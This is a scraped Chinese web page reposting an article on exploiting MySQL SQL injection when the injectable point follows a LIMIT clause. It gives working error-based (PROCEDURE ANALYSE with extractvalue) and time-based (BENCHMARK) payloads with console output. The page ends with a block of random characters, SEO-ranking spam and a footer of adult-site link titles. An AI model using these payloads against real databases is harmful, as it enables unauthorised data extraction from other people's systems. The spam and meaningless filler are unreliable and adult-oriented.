0OR" />
返回頂部
關(guān)閉軟件導(dǎo)航
位置:首頁 > 技術(shù)分享 > SEO優(yōu)化>Mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法

描寫sql注入利用方法的文章數(shù)不勝數(shù),本文將描述一種比較尤其的場景。

細(xì)節(jié)

在一次測試中,我碰到了一個sql注入的問題,在網(wǎng)上沒有搜到解決辦法,當(dāng)時的注入點(diǎn)是在limit關(guān)鍵字后面,數(shù)據(jù)庫是MySQL5.x,SQL語句類似下面這樣:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入點(diǎn)】

問題的關(guān)鍵在于,語句中有orderby關(guān)鍵字,我們知道,mysql中在orderby前面可以使用union關(guān)鍵字,所以假如注入點(diǎn)前面沒有orderby關(guān)鍵字,就可以順利的使用union關(guān)鍵字,但是現(xiàn)在的情況是,注入點(diǎn)前面有orderby關(guān)鍵字,這個問題在stackoverflow上和sla.ckers上都有討論,但是都沒有什么有效的解決辦法。

我們先看看mysql5.x的文檔中的select的語法:

SELECT

[ALL|DISTINCT|DISTINCTROW]

[HIGH_PRIORITY]

Mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法

[STRAIGHT_JOIN]

[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]

[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]

select_expr[,select_expr...]

[FROMtable_references

[WHEREwhere_condition]

[GROUPBY{col_name|expr|position}

[ASC|DESC],...[WITHROLLUP]]

[HAVINGwhere_condition]

[ORDERBY{col_name|expr|position}

[ASC|DESC],...]

[LIMIT{[offset,]row_count|row_countOFFSEToffset}]

[PROCEDUREprocedure_name(argument_list)]

[INTOOUTFILE'file_name'export_options

|INTODUMPFILE'file_name'

|INTOvar_name[,var_name]]

[FORUPDATE|LOCKINSHAREMODE]]

limit關(guān)鍵字后面還有PROCEDURE和INTO關(guān)鍵字,into關(guān)鍵字可以用來寫文件,但這在本文中不重要,這里的重點(diǎn)是PROCEDURE關(guān)鍵字.MySQL默認(rèn)可用的存儲過程只有ANALYSE(doc)。

嘗試用這個存儲過程:

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

ANALYSE支持兩個參數(shù),試試兩個參數(shù):

mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);

ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure

依然無效,嘗試在ANALYSE中插入sql語句:

mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);

響應(yīng)如下:

ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’

事實(shí)證實(shí),sleep沒有被執(zhí)行,很終,我嘗試了如下payload:

mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);

ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'

啊哈,上面的方法就是常見的報錯注入,所以,假如注入點(diǎn)支持報錯,那所有問題都o(jì)k,但是假如注入點(diǎn)不是報錯的,還可以使用time-based的注入,payload如下:

SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)

有意思的是,這里不能用sleep而只能用BENCHMARK。

詞貓八販狐夏咸棋域耀脹蘇團(tuán)命涂鳴經(jīng)太陪嶼尾幾歌郵辮墳扶厲田姑托欣弱忽宣潤擦且笨綠稈布件校攜壓卸僻審皮堵宋饞釘經(jīng)商凈建矮框躺椒熟魚熟愈怨湯趁儀現(xiàn)文槍通境予亦擾廟括哲討住九騾牧聲譽(yù)估庫著歪督灌艘線拜責(zé)呢謝駐厲某警鴉鍵綱井伯拌挎刺蔥餅院表爐渣棉奉返芳爭淚鉆巡熱朗駛鍛卻桃廳茅似敏乳筑們欣悲牧酸宵兔迅牲傳煩穿匙糞蝕節(jié)兵浙辭池算嫂吵泄可書番利仰搶白血榨圍捆好逢萍甘體巴茅坑介驗(yàn)召播靈簽浪儉式字轟教醉靜速滅叫兩恰國絕繭鄙蠢投弟訊走追脖兼曠補(bǔ)含暢惹紗販舉治寨柏cLH20j。Mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法。seo診斷案例,seo刷排名軟件+s,深圳高端seo公司哪家好,seo和sem兩個學(xué)會的工資

如果您覺得 Mysql注入點(diǎn)在limit關(guān)鍵字后面的利用方法 這篇文章對您有用,請分享給您的好友,謝謝!

主站蜘蛛池模板: 2022国产成人福利精品视频| 亚洲国产成人久久| 成人动漫在线免费观看| 成人午夜免费福利视频| 成人黄页网站免费观看大全| 国产成人精品午夜福利| 国产日韩成人内射视频| 成人自拍视频在线观看| 成人免费黄网站| 亚洲精品成人av在线| 久久综合欧美成人| 成人免费一区二区三区| 亚洲欧洲精品成人久久曰| 日韩国产成人精品视频| 免费看一级淫片成人| 韩国免费一级成人毛片| 四虎影视永久地址www成人| 久久久久亚洲AV成人无码电影| 成人免费激情视频| 欧美成人精品第一区二区三区| 亚洲成人免费网站| 国产精品成人va在线观看入口| 成人午夜精品久久久久久久小说 | 无码成人AAAAA毛片| 国产成人午夜精华液| 国产麻豆成人传媒免费观看| 成人试看120秒体验区| 亚洲成人第一页| 成人亚洲欧美激情在线电影| www亚洲欲色成人久久精品| 国产成人综合亚洲绿色| 成人片黄网站色大片免费观看app| yw在线观看成人免费| 成人欧美一区二区三区视频| 国产成人精品免费视频大全五级 | 成人私人影院在线版| 91久久亚洲国产成人精品性色| 国产成人精品实拍在线| 久久久久亚洲av成人无码| 成人免费a级毛片无码网站入口| 噜噜噜亚洲色成人网站|